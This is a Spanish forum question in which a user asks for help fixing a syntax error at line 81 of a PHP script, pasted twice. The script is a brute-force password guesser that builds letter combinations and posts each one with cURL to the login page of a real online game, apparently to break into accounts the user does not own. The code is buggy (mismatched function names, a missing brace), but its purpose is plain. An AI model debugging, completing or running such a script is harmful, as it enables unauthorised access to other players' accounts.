Tengo un problema en mi programa en PHP y al solucionarlo me saltó otro error
Pues eso que arregle el error en la linea 58 quitando el ; como tu dijiste, pero ahora el error esta en la linea 81, que puedes ser, la linea 81 parece si no me equivoco que es la antepenúltima, la que pone ensayar($algo);, he probado también quitándole le ; pero sigue dando error en la linea 81, ¿qué puedo hacer para arreglarlo?, de nuevo muchas gracias por tu tiempo kiwisoft, saludos de tu admirador je je
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
$asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
'user'=>urlencode(""),
'clear'=>urlencode(true),
'password'=>urlencode($password),
'server_select'=>urlencode("es1"),
'es1'=>urlencode($es1),
'cookie'=>urlencode(true)
);
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
print_r($result);
//close connection
curl_close($ch);
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
loguear($paltmp,$url = 'http://www.guerrastribales.es/index.php?action=login');
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
<?php
set_time_limit(0);
function cargar($palabra){
global $longitud;
global $posibles;
global $asignar;
$longitud=strlen($palabra);
$asignar=array();
$posibles =range(a,z);
for($i=0;$i<$longitud;$i++){
$asignar[$i]=$posibles;
}
}
function solucionado($palabra,$test){
if($test==$palabra)return 1;
return 0;
}
function paltmp(){
global $longitud;
global $posibles;
global $asignar;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])==count($posibles))return 0;
}
return 1;
}
function logear ($password){
//extract data from the post
extract($_POST);
//set POST variables
$url = 'http://www.guerrastribales.es/index.php';
$fields = array(
'user'=>urlencode(""),
'clear'=>urlencode(true),
'password'=>urlencode($password),
'server_select'=>urlencode("es1"),
'es1'=>urlencode($es1),
'cookie'=>urlencode(true)
);
//url-ify the data for the POST
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
rtrim($fields_string,'&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,count($fields));
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
//execute post
$result = curl_exec($ch);
print_r($result);
//close connection
curl_close($ch);
}
function ensayar($palabra){
global $longitud;
global $posibles;
global $asignar;
global $solucionado;
if($solucionado==1) return;
for($i=0;$i<$longitud;$i++){
if(count($asignar[$i])!=count($posibles))continue;
for($j=0;$j<count($posibles);$j++){
$asignar[$i]=$posibles[$j];
if(paltmp()>0){
$paltmp=implode('',$asignar);
loguear($paltmp,$url = 'http://www.guerrastribales.es/index.php?action=login');
ensayar($palabra);
}
$asignar[$i]=$posibles;return;
}
}
$algo='papa';
cargar($algo);
ensayar($algo);
?>
1 respuesta
Respuesta
1
